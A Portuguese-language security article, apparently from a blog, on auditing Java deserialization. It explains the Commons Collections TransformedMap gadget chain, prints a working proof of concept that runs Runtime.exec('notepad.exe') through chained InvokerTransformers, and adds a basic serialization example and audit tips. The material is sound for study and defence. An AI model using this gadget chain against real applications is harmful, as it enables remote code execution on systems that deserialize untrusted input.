Auditoria de Código Java: Cadeia de Chamada TransformedMap no Commons Collections para Exploração de Deserialização

No contexto de vulnerabilidades de deserialização em Java, a biblioteca Commons Collections oferece classes que podem ser exploradas para execução remota de código. A classe TransformedMap, em particular, permite a execução de operações de transformação quando métodos como put ou checkSetValue são invocados.

TransformedMap é uma implementação decoradora de Map que aplica transformações aos valores durante operações de inserção ou modificação. Ao associar um objeto Transformer, como ChainedTransformer, a essas operações, é possível encadear chamadas que conduzem à execução de código arbitrário.

Para demonstrar, considere o seguinte exemplo de código reescrito:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class DemoTransformedMap {
    public static void main(String[] args) {
        Transformer[] arrayTransformadores = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}),
            new InvokerTransformer("exec", new Class[] {String.class}, new String[] {"notepad.exe"})
        };

        Transformer cadeia = new ChainedTransformer(arrayTransformadores);
        Map<String, String> mapaBase = new HashMap<>();
        Map<String, String> mapaDecorado = TransformedMap.decorate(mapaBase, null, cadeia);

        mapaDecorado.put("teste", "exemplo");
    }
}

Ao chamar o método put no mapa decorado, a sequência de transformações é ativada. O processo segue: TransformedMap.put invoca transformValue, que por sua vez chama ChainedTransformer.transform. Cada InvokerTransformer na cadeia executa uma etapa específica, resultando na invocação de Runtime.getRuntime().exec("notepad.exe").

Esta cadeia de chamadas só é eficaz em ambientes onde a biblioteca Commons Collections está presente e a deserialização de objetos não é controlada. Versões modernas da biblioteca incluem mitigações, mas em configurações legadas, o risco persiste.

Pontos-chave para considerar:

  • TransformedMap aciona transformações em métodos de mutação, como put.
  • A classe ChainedTransformer permite o encadeamento de operações complexas.
  • A exploração requer que o alvo aceite a deserialização de objetos que contenham essa cadeia.

Commons Collections é uma biblioteca de código aberto que estende as coleções padrão do Java, fornecendo estruturas de dados e algoritmos avançados. Ela suporta funcionalidades como filtros, iteradores e transformadores, facilitando operações complexas em coleções.

Serialização e deserialização em Java são processos que convertem objetos em fluxos de bytes e vice-versa. A serialização utiliza ObjectOutputStream, enquanto a deserialização usa ObjectInputStream. Classes que implementam a interface Serializable podem ser convertidas, mas atenção deve ser dada a segurança, pois entradas maliciosas podem levar a vulnerabilidades.

Exemplo simplificado de serialização:

import java.io.*;

public class ExemploSerializacao {
    public static void main(String[] args) throws Exception {
        Dados dados = new Dados("Alice", 30);

        // Serialização
        try (FileOutputStream fos = new FileOutputStream("dados.ser");
             ObjectOutputStream oos = new ObjectOutputStream(fos)) {
            oos.writeObject(dados);
        }

        // Deserialização
        try (FileInputStream fis = new FileInputStream("dados.ser");
             ObjectInputStream ois = new ObjectInputStream(fis)) {
            Dados dadosCarregados = (Dados) ois.readObject();
            System.out.println("Nome: " + dadosCarregados.getNome());
        }
    }
}

class Dados implements Serializable {
    private String nome;
    private int idade;

    public Dados(String nome, int idade) {
        this.nome = nome;
        this.idade = idade;
    }

    public String getNome() { return nome; }
}

A biblioteca Commons Collections evoluiu de versão 3 para 4, com melhroias em desempenho e compatibilidade. A versão 4 introduz novas coleções e requer Java 8 ou superior, enquanto a versão 3 é adequada para ambientes mais antigos.

Em auditorias de código Java, foco em padrões de deserialização insegura é crucial. Técnicas incluem análise estática para identificar uso de classes perigosas, revisão de configurações de entrada, e teste de payloads controlados. Profissionalização contínua em segurança de aplicações é recomendada para acompanhar ameaças emergentes.

Tags: java deserialization Commons Collections TransformedMap code audit

Publicado em 7-9 18:29